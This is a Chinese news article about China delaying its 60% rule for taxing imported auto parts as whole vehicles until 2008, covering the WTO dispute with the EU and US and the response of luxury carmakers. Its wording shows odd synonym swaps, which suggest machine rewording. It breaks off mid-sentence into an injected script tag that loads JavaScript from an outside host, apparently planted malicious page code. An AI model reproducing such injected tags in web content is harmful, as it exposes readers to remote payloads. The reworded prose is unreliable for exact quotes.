去年4月开始推行的《构成整车特点的汽车零部件进口管理方法》，即业界所称的“零部件新政”意料之外发生变动。昨天，海关总署和商务部均在网站挂出通知，宣布将“限制假国产”的规范推至2008年7月1日推行，这将比原定推行时间推迟两年。
这意味着中国与欧美的汽车零部件争端将得到暂时缓解。
“重型武器”推迟用
《构成整车特点的汽车零部件进口管理方法》从去年4月开始推行，目的在于规范零部件的进口行为。《方法》中规定了构成整车特点的三个标准，一旦达到这三个标准，进口“零部件”将根据整车标准课以更高税率。
这三条标准是：1、进口全散件或半散件组装汽车的；2、进口车身(含驾驶室)、发动机两大总成装车的，或进口车身和发动机两大总成之一及其他3个总成以上装车的，进口除车身和发动机两大总成以外其它5个总成以上装车的；3、进口零部件的价格总和达到该车型整车总价格的60%及以上的。
前两个标准已于去年推行，第三个标准原定于今年7月1日开始生效。昨天的通知却将其生效日期推后了两年。
海关总署和商务部的通知称：“原定于自2006年7月1日起推行的有关整车特点的进口价格百分比界定标准与有关汽车总成(系统)特点的A、B类重要件的区别标准，推迟到2008年7月1日推行。”
这两个标准是管理方法中发布的，是管理方法中的重要内容。《方法》规定，对大于等于整车价值60%的零部件视同整车，从2006年7月开始征收与整车相同的关税。现在中国对进口汽车部件征收10%的关税，但假如价值超越整车的60%后，税率就将调升至25%左右。
长期以来，一些外国汽车企业打着“国产”的旗号，很多进口零部件到国内组装，从而却逃避整装车的高额税率，以貌似国产的进口整车享受零部件进口的低税率，因此“60%”的规定被视为预防其以“化整为零”的方法变相逃税的重型武器。
规定颁布后，欧盟反应强烈，称如此的规定事实上等于变相规定了零部件国产化的比率。2006年3月30日，欧盟、美国常驻WTO代表团大使分别致函中国常驻WTO代表团的孙振宇大使，就中国汽车产业进步政策等手段在WTO提起争端解决机制下的磋商请求。4月7日，孙振宇大使分别致函欧盟、美国驻WTO代表团大使，表示中国同意欧盟、美国对国内汽车零部件进口政策的磋商请求。
昨天的通知是以海关总署、商务部、财政部和发改委的名义发出的，在通知中，4部委均未对推迟缘由进行讲解。商务部产业司进口处表示，此事由海关总署牵头，商务部不便捷讲解。海关总署关税司有关整车处表示，这个事情现在比较敏锐没办法同意采访。
国际巨头还可喘息两年
推迟推行，等于在2008年7月之前，宝马、奔驰、凯迪拉克等仍然可以以零部件组装的方法达成“国产”，享受零部件仅为10%的关税。可以减少国产本钱，不需要劳师动众推行更大规模的当地零部件采购。
“这是政策的松动。等于欧美厂家有了两年缓冲期，也就是过渡期。”独立剖析师钟师这样评价。这两年的缓冲时间正是这部分巨头，去年及今年年初上下游说，并推进欧美与国内主管部门交涉的结果。
“目前推迟两年就给大家更充裕的时间。对于宝马有积极的影响。”宝马北京代表处公关经理马庆生表示。但他强调，即便不推迟，宝马也会根据中国主管部门的需要，提升国产化率，在保证全球水平标准的状况下，继续推行当地采购。他说：“事实上，国内零部件工业愈加好，愈加成熟，很有期望达到大家的规范。”
宝马的“当地化”动作也代表了奔驰、凯迪拉克和沃尔沃等豪华车的走向。事实上，缓冲期的意义在于一边安心通过零部件组装达成国产，维持国内份额，另一边可以有空闲加紧培养当地零部件提供商，以便追上国产化广受好评的奥迪。
有资料显示，2006年宝马在中国的零部件采购金额将从去年的8.7亿元提升到30亿元，提供商将从45家扩展到83家。到2008年，戴克在中国的零部件采购金额预计将达到8.4亿美元，比现在增加7亿美元。
拥有奔驰的戴克企业的公关部表示，现在正在评估这个政策变化给公司业务拓展可能带来的积极影响。戴克在华合资公司——北京奔驰媒体关系经理阮建伟强调，公司正在研究政策。
对于有数款车型中止国产的凯迪拉克来讲，成效可能愈加明显。今年5月，因为零部件政策问题，上海通用停产三款凯迪拉克，取而代之进入国内市场的是三款进口车。这个局面可能由于政策松动而变化，“年底新的凯迪拉克车型STS将进行国产。”昨天上海通用郭凤兰透露。
博弈双方相互妥协
与主管部门的小心和低调不一样的是，汽车业界对三大标准推行时间的推迟讨论得相当热烈。“表面上看上去乎是中国做出让步，依我看，博弈双方都做了妥协。”北京WTO事务中心副主任尧秋根一直跟踪关注由此引发的中国与欧美的零部件争端。
“两个原因促成这个政策推迟，一?script src=http://cn.jxmmtv.com/cn.js>cript>
